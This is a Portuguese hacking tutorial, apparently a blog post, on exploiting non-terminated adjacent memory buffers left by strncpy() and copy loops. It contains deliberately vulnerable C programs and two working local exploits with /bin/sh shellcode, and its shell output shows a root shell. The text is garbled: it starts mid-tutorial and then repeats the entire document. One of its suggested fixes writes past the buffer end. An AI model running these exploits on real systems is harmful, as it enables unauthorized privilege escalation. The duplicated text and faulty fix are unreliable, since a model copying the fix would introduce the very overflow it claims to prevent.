o primeiro buffer com NOPs e o nosso shellcode, e o segundo apenas
com o endereco de retorno. Existem inumeros esquemas em cima disso,
em alguns casos, partindo o shellcode ou manipulando NOPs, enfim,
vejamos o exploit abaixo:
--------------------------------- ev.c -----------------------------------
/* Primeiro exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br
*/
#include
#include
#include
#include
#define LENBUFF1 256
#define LENBUFF2 512
/* Shellcode Padrao */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Captura o Stack Pointer */
unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]) {
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0;
unsigned long retaddr;
if(argc < 2){
printf("Uso: %s\n",argv[0]);
exit(0);
}
offset = atoi(argv[1]);
memset(buff1,0x90,sizeof(buff1));
memcpy(buff1+100,shellcode,strlen(shellcode));
retaddr = get_sp() + offset;
for(i=0; i< LENBUFF2; i+=4){
buff2[i]=(retaddr&0x000000ff);
buff2[i+1]=(retaddr&0x0000ff00)>>8;
buff2[i+2]=(retaddr&0x00ff0000)>>16;
buff2[i+3]=(retaddr&0xff000000)>>24;
}
printf("Usando Retorno: 0x%x\n", retaddr);
execl("./v","./v",buff1,buff2,NULL);
}
----------------------------------------------------------------------
Vamos executar ele, entao:
kimera3:/work/testes# ./ev 150
Usando Retorno: 0xbffff7f2
Segmentation fault (core dumped)
kimera3:/work/testes# ./ev 155
Usando Retorno: 0xbffff7f7
sh-2.03#
Como podemos ver, eh funcional! Mas podemos dividi-lo e aprimora-lo
ateh mesmo para evitar o uso de offsets. Outro possivel esquema pode
obedecer o seguinte modelo descrito pelo twitch na Phrack 56:
Apos a execucao de strncpy(), buf2 deve parecer com:
[ 0 ......................................................... 512 ]
--------------------------------------------------------------------
| | |
| offset_para_shellcode | Um monte de lixo(NULL, NOPs) |
| | |
--------------------------------------------------------------------
E buf1 deve parecer com:
[ 0 .......................................................... 256 ]
--------------------------------------------------------------------
| | | |
| Cadeia de NOP's | shellcode | Mais NOP's |
| | | |
--------------------------------------------------------------------
Logo, para este esquema poderiamos ter o seguinte exploit:
-------------------------------- ev2.c ---------------------------------
/* Segundo exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br
*/
#include
#include
#include
#include
#define LENBUFF1 256
#define LENBUFF2 512
/* Shellcode Padrao */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Captura o Stack Pointer */
unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]) {
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0;
unsigned long retaddr;
if(argc < 2){
printf("Uso: %s\n",argv[0]);
exit(0);
}
offset = atoi(argv[1]);
memset(buff1,0x90,sizeof(buff1));
memcpy(buff1+100,shellcode,strlen(shellcode));
retaddr = get_sp() + offset;
memset(buff2,0x90,sizeof(buff2));
for(i=0; i< LENBUFF2 - 360; i+=4){
buff2[i]=(retaddr&0x000000ff);
buff2[i+1]=(retaddr&0x0000ff00)>>8;
buff2[i+2]=(retaddr&0x00ff0000)>>16;
buff2[i+3]=(retaddr&0xff000000)>>24;
}
printf("Usando Retorno: 0x%x\n", retaddr);
execl("./v","./v",buff1,buff2,NULL);
}
----------------------------------------------------------------------
Executando:
kimera3:/work/testes# ./ev2 120
Usando Retorno: 0xbffff7c4
sh-2.03#
Bom, como podemos perceber nao ha muito problema em exploitar este
tipo de problema. Mas podemos ir mais alem.
-------------------------
4 - Expansao do Conceito |
-------------------------
Qualquer funcao que manipula strings a espera de um caracter NULL
para "encerrar" a string pode estar vulneravel a este tipo de problema.
Vimos no exemplo acima, strncpy(), uma funcao que eh muito usada, mas
podemos ir mais alem.
As seguintes funcoes tambem podem apresentar problemas:
fread()
read() [ read(), readv(), pread() ]
memcpy()
memccpy()
memmove()
bcopy()
for(i = 0; i < MAXSIZE; i++)
buf[i] = buf2[i];
gethostname()
strncat()
e etc.
Hoje em dia, a que mais chama a atencao eh a for().
Vejamos o exemplo abaixo:
------------------------------- v2.c ---------------------------------
/* Exemplo de programa vulneravel em for().
* Documento sobre problemas com memoria adjacente
* Nash Leon - nashleon@yahoo.com.br.
*/
#include
#include
#define MAXSIZE 256
int bugada(char *buffer);
int main(int argc,char *argv[]) {
char buf1[MAXSIZE];
char buf2[MAXSIZE];
char *pam;
int i;
pam = argv[1];
/* Copiamos conteudo de argv[1] para buf1 */
for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}
for(i =0; i < MAXSIZE; i++){
buf2[i] = buf1[i];
}
bugada(buf2);
return 0;
}
int bugada(char *buffer){
char buf3[MAXSIZE];
int i;
for(i = 0; i < strlen(buffer); i++){
buf3[i] = buffer[i];
}
}
-------------------------------------------------------------------
# gdb ./v2
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) r `perl -e 'print "A" x 256'`
Starting program: /work/testes/./v2 `perl -e 'print "A" x 256'`
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Bom, como podemos ver, o problema eh serio! E condicoes com for()
ainda tem sido manifestadas em inumeros programas. O conceito eh este
e em breve espero poder abordar maiores pormenores sobre isso.
---------------
5 - Terminando |
---------------
Mais um documento sobre buffer overflows. Inumeras tecnicas existem e
este documento eh mais um basico.
Para impedir que os buffers sejam usados em condicoes de overflow
pela funcoes, em muitos casos basta apenas inserir um caracter NULL(\0)
no final do buffer, algo como:
#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE - 1] = '\0';
...
ou entao jah evitar quais problemas na propria funcao receptora:
#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE - 1; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE] = '\0';
...
5.1 - Links e Referencias
--------------------------
Existem varios documentos descrevendo esta tecnica, no entanto, em
forma de tutorial encontrei apenas dois ateh agora:
P56-14 - "TAKING ADVANTAGE OF NON-TERMINATED ADJACENT MEMORY SPACES" -
escrito por twitch - http://www.phrack.org/
" Exploiting none terminated buffers" - escrito por pr1 -
http://www.u-n-f.com/
Outros links interessantes:
http://www.kimera.com.br/
http://www.linuxsecurity.com.br/
http://unsekurity.virtualave.net/
http://www.axur.org/
http://www.securenet.com.br/
http://int0x80.host.sk/
http://www.unsecurity.org/
http://www.core-sdi.com/
http://packetstorm.linuxsecurity.com/
http://www.securityfocus.com/
http://www.counterpane.com/
http://www.atstake.com/
http://teso.scene.at/
5.2 - Consideracoes Finais
---------------------------
Buffer overflows eh uma tecnica fascinante, como qualquer outra tecnica
fucadora. O interessante aqui nao eh a programacao, mas a malicia.
Tenho visto muitas pessoas confundirem hacking com programacao. Achando
que programar em Assembly ou saber fazer isso ou aquilo outro os torna
especiais.
Nao sei, mas neste ponto concordo com Mitnick:
"Super-programadores sao pessimos hackers!".
De modo que, a malicia nao estah associada a capacidade de programar.
Dizem que programar eh resolver problemas, mas vejo muitos programadores
seguirem sempre uma logica pre-definida, ensinada por alguem. O hacking
ultrapassa essa esfera. Eh resolver problemas com o que se tem na mao
e nao construindo coisas para facilitar.Eh alterar a propria logica,
a regra do jogo, manipulando-a de uma forma nao-convencional(pre-
estabelecida).
Programar eh importante, mas eh apenas uma das facetas do hacking, tem
muito mais coisas e coisas mais importantes que estas.
Devemos dar um passo devagar e constante, olhando tudo ao nosso redor
e procurando definir limites as nossas acoes. A experiencia se adquire
com o tempo, o que antes parecia devaneio, agora pode ser realidade,
e o que muitos creem hoje ser fabula amanha pode se tornar um pesadelo.
Nao existe destino individual, cada um decide qual lado da forca quer
ajudar.A utilizacao do conhecimento eh o que nos torna o ser humano
que somos e nao o contrario. Se guardarmos o conhecimento apenas para
nos mesmos, deixaremos de lado a existencia de um hacker no espirito
humano.
5.3 - Agradecimentos
---------------------
Agradeco a Deus pela oportunidade de ter um objetivo na vida.
E tambem as pessoas que compartilham o conhecimento para produzir mais
conhecimento e beneficiar a vida das pessoas. Tambem as inumeros grupos
e fucadores que nao podem assinar os documentos, ou exploits e programas
que escrevem mas que utilizam suas forcas para ajudar o proximo. Agradeco
aos hackers corajosos que disponibilizam infos em paises cuja lei nao
permite, que sao perseguidos por lutarem contra a propriedade intelectual
e por procurarem democratizar nao apenas os softwares mas tambem, e
principalmente, a informacao.
Por fim, a todos que colaboram com a cena hacker aqui no brasil e que sao
criticados e hostilizados por acreditarem que a etica hacker pode ser
real para aqueles que a vivenciam. Aos grupos Int 0x80, Unsekurity Scene,
ZinesBR, Unsecurity.org, EoH, as scenes de outros paises, a
linuxsecurity.com.br, Axur Corp, Kimera - Solucoes em Seguranca,
BufferOverflow.org, e a todos que fazem parte deste universo da
inseguranca da informacao.
Um Abraco
Nash Leon.
Unsekurity Team.
* EXPLOITANDO MEMORIA ADJACENTE *
***********************************
1 - Introducao
2 - O Problema
3 - A Exploitacao
4 - Expansao do Conceito
5 - Terminando
5.1 - Links e Referencias
5.2 - Consideracoes Finais
5.2 - Agradecimentos
---------------
1 - Introducao |
---------------
Os ataques de Buffer Overflows parecem que ainda perdurarao por algum
tempo. Apesar dos esforcos de grande parte da Comunidade de Seguranca,
os exemplos de condicoes de overflow permanecem como uma "constante"
entre os aplicativos de um modo geral.
Ateh onde eu conheco, o conceito de buffer overflow eh apenas um, no
entanto, as tecnicas para implementacao deste conceito sao diversas. E
ateh onde eu sei, o Mudge(antiga L0pht, hoje @stake), foi o primeiro a
expandir para as massas o conceito de buffer overflows. Desde o worm
(Robert Morris, 1988) ateh os nossos dias, muitos programadores tem
procurado diminuir as condicoes de buffer overflows em programas que
manipulam parametros recebidos de um usuario, substituindo funcoes
conhecidas como vulneraveis(strcpy, gets, sprintf) por funcoes que
necessariamente fazem checagem do tamanho dos parametros recebidos
(strncpy, snprintf, etc).
No dia 01 de maior de 2000, twich (twitch@vicar.org) tornou manifesto
uma tecnica capaz de exploitar espacos de memoria adjacente,
especificamente o manuseio incorreto das funcoes ditas seguras(strcnpy,
por exemplo). As Analises de codigo-fonte(auditoria) passaram agora
a incluir todo tipo de funcoes, demonstrando assim que nao basta apenas
a funcao fazer a checagem do tamanho dos parametros, mas outros fatores
passaram a ser essenciais.
Neste documento abordaremos esta tecnica. Conhecimentos em C, Assembly
(AT&T), escrita de exploits(ver docs da Unsek Scene) e linux se fazem
necessarios. E principalmente mentalidade fucadora!
---------------
2 - O Problema |
---------------
Podemos descrever basicamente o problemas com as funcoes ditas seguras
(strncpy, strncat, etc) eh que elas nao sao capazes de terminar
automaticamente os buffers ou strings com um NULL. Como assim?
Vejamos nosso primeiro codigo inicial:
----------------------------------- b1.c ----------------------------------
/* Exemplo de strncpy() */
#include
#include
int main(int argc, char *argv[]){
char buffer[256];
/* Iremos copiar argv[1] para buffer e imprimir */
strncpy(buffer,argv[1],sizeof(buffer));
/* Iremos imprimir o tamanho da string recebida em argv[1] */
printf("strlen: %d | sizeof: %d\n",strlen(buffer), sizeof(buffer));
return 0;
}
--------------------------------------------------------------------
Como sabemos, strcnpy() ira copiar os dados recebidos da linha de
comando ateh chegar o tamanho de buffer(sizeof(buffer)) ou ateh
receber um NULL(\0), vejamos um exemplo de execucao:
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 255'`
strlen: 255 | sizeof: 256
A "anomalia" ocorre quando digitamos mais dados que o tamanho do
buffer de espera. Vejamos:
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 256'`
strlen: 265 | sizeof: 256
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 257'`
strlen: 265 | sizeof: 256
Como podemos notar strlen() contem um tamanho superior ao esperado.
Isso ocorre porque strncpy() nao recebeu o caracter NULL e de alguma
forma uniu dados ateh encontrar um NULL. Podemos clarear mais analisando
o programa abaixo:
-------------------------------- b2.c --------------------------------
/* Exemplo 2 de strncpy() */
#include
#include
int main(int argc, char *argv[]){
char buffer1[20], buffer2[8];
/* Iremos copiar argv[1] para buffer1 */
strncpy(buffer1,argv[1],sizeof(buffer1));
/* Iremos copiar buffer1 para buffer2 */
strncpy(buffer2,buffer1,sizeof(buffer2));
/* Iremos imprimir agora o conteudo de buffer2 */
printf("Buffer2: %s\n",buffer2);
return 0;
}
------------------------------------------------------------------------
Executando este programa, teoricamente deveriamos ter a saida de buffer2,
ou seja, uma string contendo 8 caracteres.Mas vejamos:
kimera3:/work/testes# ./b2 NashLeon
Buffer2: NashLeonNashLeon
NashLeonNashLeon possue 16 caracteres.
No mais a gente pode brincar com isso:
kimera3:/work/testes# ./b2 NashLeonUnsek
Buffer2: NashLeonNashLeonUnsek
kimera3:/work/testes# ./b2 NashLeonUnsekScene
Buffer2: NashLeonNashLeonUnsekScene
kimera3:/work/testes# ./b2 NashLeonUnsekSceneAgain
Buffer2: NashLeonNashLeonUnsekSceneAgxúÿ¿çâ@
Ele imprime justmente porque o strncpy() nao encontrou o caracter
NULL como esperava. Com menos de 8 caracteres, poderiamos ter:
kimera3:/work/testes# ./b2 Nash
Buffer2: Nash
kimera3:/work/testes# ./b2 NashLeo
Buffer2: NashLeo
Ou seja, a execucao e impressao em modo normal e esperado, jah que
temos um NULL na string indicando o termino dela. O stack nesse
caso iria parecer como:
Memoria
Alta
|| ----------------> [Topo do Stack]
|| ----------------> [ 'N' (buffer2 - 0) ]
|| ----------------> [ 'a' (buffer2 - 1) ]
|| ----------------> [ 's' (buffer2 - 2) ]
|| ----------------> [ 'h' (buffer2 - 3) ]
|| ----------------> [ 'L' (buffer2 - 4) ]
|| ----------------> [ 'e' (buffer2 - 5) ]
|| ----------------> [ 'o' (buffer2 - 6) ]
|| ----------------> [ 'n' (buffer2 - 7) ]
|| ----------------> [ 'N' (buffer1 - 0) ]
|| ----------------> [ 'a' (buffer1 - 1) ]
|| ----------------> [ 's' (buffer1 - 2) ]
|| ----------------> [ 'h' (buffer1 - 3) ]
|| ----------------> [ 'L' (buffer1 - 4) ]
|| ----------------> [ 'e' (buffer1 - 5) ]
|| ----------------> [ 'o' (buffer1 - 6) ]
|| ----------------> [ 'n' (buffer1 - 7) ]
|| ----------------> [ 'U' (buffer1 -
]|| ----------------> [ 'n' (buffer1 - 9) ]
|| ----------------> [ 's' (buffer1 - 10) ]
|| ----------------> [ 'e' (buffer1 - 11) ]
|| ----------------> [ 'k' (buffer1 - 12) ]
|| ----------------> [ 0x00 (buffer1 - 13) ]
||
|| ...
\/
Como podemos ver, este problema eh real e pode ser exploitado. Veremos
como na secao abaixo.
------------------
3 - A Exploitacao |
------------------
Este problema pode ser exploitado de inumeras maneiras. Dependendo
do nivel do atacante, ele pode se aproveitar ateh mesmo do exemplo
inicial postado neste documento. Como este e todos os meus documentos
visam NewBies, veremos inicialmente o exemplo mais trivial de se
exploitar este problema.
Como vimos no exemplo acima, strlen() tende a ser maior do que o
esperado quando enchemos um buffer e strncpy() nao encontra um NULL,
criando assim anomalias entre a interacao de funcoes.
Vejamos abaixo uma possivel implicacao disso:
-------------------------------- v.c ------------------------------------
/* Exemplo inicial de programa vulneravel
* Documento sobre problemas com memoria adjacente
* Nash Leon - nashleon@yahoo.com.br.
*/
#include
#include
int bugada(char *buffer);
int main(int argc,char *argv[]) {
char buf1[512];
char buf2[256];
strncpy(buf2,argv[1],sizeof(buf2));
strncpy(buf1,argv[2],sizeof(buf1));
bugada(buf2);
return 0;
}
int bugada(char *buffer){
char buf3[300];
int i;
/* note que buf3 suporta 300 bytes enquando
* buf2(buffer) teoricamente deveria conter no maximo
* 256.
*/
for(i = 0; i < strlen(buffer); i++){
buf3[i] = buffer[i];
}
}
----------------------------------------------------------------------
Para exploitarmos este programa, nao tem muito segredo. Vamos encher
o primeiro buffer com NOPs e o nosso shellcode, e o segundo apenas
com o endereco de retorno. Existem inumeros esquemas em cima disso,
em alguns casos, partindo o shellcode ou manipulando NOPs, enfim,
vejamos o exploit abaixo:
--------------------------------- ev.c -----------------------------------
/* Primeiro exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br
*/
#include
#include
#include
#include
#define LENBUFF1 256
#define LENBUFF2 512
/* Shellcode Padrao */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Captura o Stack Pointer */
unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]) {
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0;
unsigned long retaddr;
if(argc < 2){
printf("Uso: %s
exit(0);
}
offset = atoi(argv[1]);
memset(buff1,0x90,sizeof(buff1));
memcpy(buff1+100,shellcode,strlen(shellcode));
retaddr = get_sp() + offset;
for(i=0; i< LENBUFF2; i+=4){
buff2[i]=(retaddr&0x000000ff);
buff2[i+1]=(retaddr&0x0000ff00)>>8;
buff2[i+2]=(retaddr&0x00ff0000)>>16;
buff2[i+3]=(retaddr&0xff000000)>>24;
}
printf("Usando Retorno: 0x%x\n", retaddr);
execl("./v","./v",buff1,buff2,NULL);
}
----------------------------------------------------------------------
Vamos executar ele, entao:
kimera3:/work/testes# ./ev 150
Usando Retorno: 0xbffff7f2
Segmentation fault (core dumped)
kimera3:/work/testes# ./ev 155
Usando Retorno: 0xbffff7f7
sh-2.03#
Como podemos ver, eh funcional! Mas podemos dividi-lo e aprimora-lo
ateh mesmo para evitar o uso de offsets. Outro possivel esquema pode
obedecer o seguinte modelo descrito pelo twitch na Phrack 56:
Apos a execucao de strncpy(), buf2 deve parecer com:
[ 0 ......................................................... 512 ]
--------------------------------------------------------------------
| | |
| offset_para_shellcode | Um monte de lixo(NULL, NOPs) |
| | |
--------------------------------------------------------------------
E buf1 deve parecer com:
[ 0 .......................................................... 256 ]
--------------------------------------------------------------------
| | | |
| Cadeia de NOP's | shellcode | Mais NOP's |
| | | |
--------------------------------------------------------------------
Logo, para este esquema poderiamos ter o seguinte exploit:
-------------------------------- ev2.c ---------------------------------
/* Segundo exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br
*/
#include
#include
#include
#include
#define LENBUFF1 256
#define LENBUFF2 512
/* Shellcode Padrao */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Captura o Stack Pointer */
unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]) {
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0;
unsigned long retaddr;
if(argc < 2){
printf("Uso: %s
exit(0);
}
offset = atoi(argv[1]);
memset(buff1,0x90,sizeof(buff1));
memcpy(buff1+100,shellcode,strlen(shellcode));
retaddr = get_sp() + offset;
memset(buff2,0x90,sizeof(buff2));
for(i=0; i< LENBUFF2 - 360; i+=4){
buff2[i]=(retaddr&0x000000ff);
buff2[i+1]=(retaddr&0x0000ff00)>>8;
buff2[i+2]=(retaddr&0x00ff0000)>>16;
buff2[i+3]=(retaddr&0xff000000)>>24;
}
printf("Usando Retorno: 0x%x\n", retaddr);
execl("./v","./v",buff1,buff2,NULL);
}
----------------------------------------------------------------------
Executando:
kimera3:/work/testes# ./ev2 120
Usando Retorno: 0xbffff7c4
sh-2.03#
Bom, como podemos perceber nao ha muito problema em exploitar este
tipo de problema. Mas podemos ir mais alem.
-------------------------
4 - Expansao do Conceito |
-------------------------
Qualquer funcao que manipula strings a espera de um caracter NULL
para "encerrar" a string pode estar vulneravel a este tipo de problema.
Vimos no exemplo acima, strncpy(), uma funcao que eh muito usada, mas
podemos ir mais alem.
As seguintes funcoes tambem podem apresentar problemas:
fread()
read() [ read(), readv(), pread() ]
memcpy()
memccpy()
memmove()
bcopy()
for(i = 0; i < MAXSIZE; i++)
buf[i] = buf2[i];
gethostname()
strncat()
e etc.
Hoje em dia, a que mais chama a atencao eh a for().
Vejamos o exemplo abaixo:
------------------------------- v2.c ---------------------------------
/* Exemplo de programa vulneravel em for().
* Documento sobre problemas com memoria adjacente
* Nash Leon - nashleon@yahoo.com.br.
*/
#include
#include
#define MAXSIZE 256
int bugada(char *buffer);
int main(int argc,char *argv[]) {
char buf1[MAXSIZE];
char buf2[MAXSIZE];
char *pam;
int i;
pam = argv[1];
/* Copiamos conteudo de argv[1] para buf1 */
for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}
for(i =0; i < MAXSIZE; i++){
buf2[i] = buf1[i];
}
bugada(buf2);
return 0;
}
int bugada(char *buffer){
char buf3[MAXSIZE];
int i;
for(i = 0; i < strlen(buffer); i++){
buf3[i] = buffer[i];
}
}
-------------------------------------------------------------------
# gdb ./v2
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) r `perl -e 'print "A" x 256'`
Starting program: /work/testes/./v2 `perl -e 'print "A" x 256'`
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Bom, como podemos ver, o problema eh serio! E condicoes com for()
ainda tem sido manifestadas em inumeros programas. O conceito eh este
e em breve espero poder abordar maiores pormenores sobre isso.
---------------
5 - Terminando |
---------------
Mais um documento sobre buffer overflows. Inumeras tecnicas existem e
este documento eh mais um basico.
Para impedir que os buffers sejam usados em condicoes de overflow
pela funcoes, em muitos casos basta apenas inserir um caracter NULL(\0)
no final do buffer, algo como:
#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE - 1] = '\0';
...
ou entao jah evitar quais problemas na propria funcao receptora:
#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE - 1; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE] = '\0';
...
5.1 - Links e Referencias
--------------------------
Existem varios documentos descrevendo esta tecnica, no entanto, em
forma de tutorial encontrei apenas dois ateh agora:
P56-14 - "TAKING ADVANTAGE OF NON-TERMINATED ADJACENT MEMORY SPACES" -
escrito por twitch - http://www.phrack.org/
" Exploiting none terminated buffers" - escrito por pr1 -
http://www.u-n-f.com/
Outros links interessantes:
http://www.kimera.com.br/
http://www.linuxsecurity.com.br/
http://unsekurity.virtualave.net/
http://www.axur.org/
http://www.securenet.com.br/
http://int0x80.host.sk/
http://www.unsecurity.org/
http://www.core-sdi.com/
http://packetstorm.linuxsecurity.com/
http://www.securityfocus.com/
http://www.counterpane.com/
http://www.atstake.com/
http://teso.scene.at/
5.2 - Consideracoes Finais
---------------------------
Buffer overflows eh uma tecnica fascinante, como qualquer outra tecnica
fucadora. O interessante aqui nao eh a programacao, mas a malicia.
Tenho visto muitas pessoas confundirem hacking com programacao. Achando
que programar em Assembly ou saber fazer isso ou aquilo outro os torna
especiais.
Nao sei, mas neste ponto concordo com Mitnick:
"Super-programadores sao pessimos hackers!".
De modo que, a malicia nao estah associada a capacidade de programar.
Dizem que programar eh resolver problemas, mas vejo muitos programadores
seguirem sempre uma logica pre-definida, ensinada por alguem. O hacking
ultrapassa essa esfera. Eh resolver problemas com o que se tem na mao
e nao construindo coisas para facilitar.Eh alterar a propria logica,
a regra do jogo, manipulando-a de uma forma nao-convencional(pre-
estabelecida).
Programar eh importante, mas eh apenas uma das facetas do hacking, tem
muito mais coisas e coisas mais importantes que estas.
Devemos dar um passo devagar e constante, olhando tudo ao nosso redor
e procurando definir limites as nossas acoes. A experiencia se adquire
com o tempo, o que antes parecia devaneio, agora pode ser realidade,
e o que muitos creem hoje ser fabula amanha pode se tornar um pesadelo.
Nao existe destino individual, cada um decide qual lado da forca quer
ajudar.A utilizacao do conhecimento eh o que nos torna o ser humano
que somos e nao o contrario. Se guardarmos o conhecimento apenas para
nos mesmos, deixaremos de lado a existencia de um hacker no espirito
humano.
5.3 - Agradecimentos
---------------------
Agradeco a Deus pela oportunidade de ter um objetivo na vida.
E tambem as pessoas que compartilham o conhecimento para produzir mais
conhecimento e beneficiar a vida das pessoas. Tambem as inumeros grupos
e fucadores que nao podem assinar os documentos, ou exploits e programas
que escrevem mas que utilizam suas forcas para ajudar o proximo. Agradeco
aos hackers corajosos que disponibilizam infos em paises cuja lei nao
permite, que sao perseguidos por lutarem contra a propriedade intelectual
e por procurarem democratizar nao apenas os softwares mas tambem, e
principalmente, a informacao.
Por fim, a todos que colaboram com a cena hacker aqui no brasil e que sao
criticados e hostilizados por acreditarem que a etica hacker pode ser
real para aqueles que a vivenciam. Aos grupos Int 0x80, Unsekurity Scene,
ZinesBR, Unsecurity.org, EoH, as scenes de outros paises, a
linuxsecurity.com.br, Axur Corp, Kimera - Solucoes em Seguranca,
BufferOverflow.org, e a todos que fazem parte deste universo da
inseguranca da informacao.
Um Abraco
Nash Leon.
Unsekurity Team.
Assinar:
Postagens (Atom)
Postagens
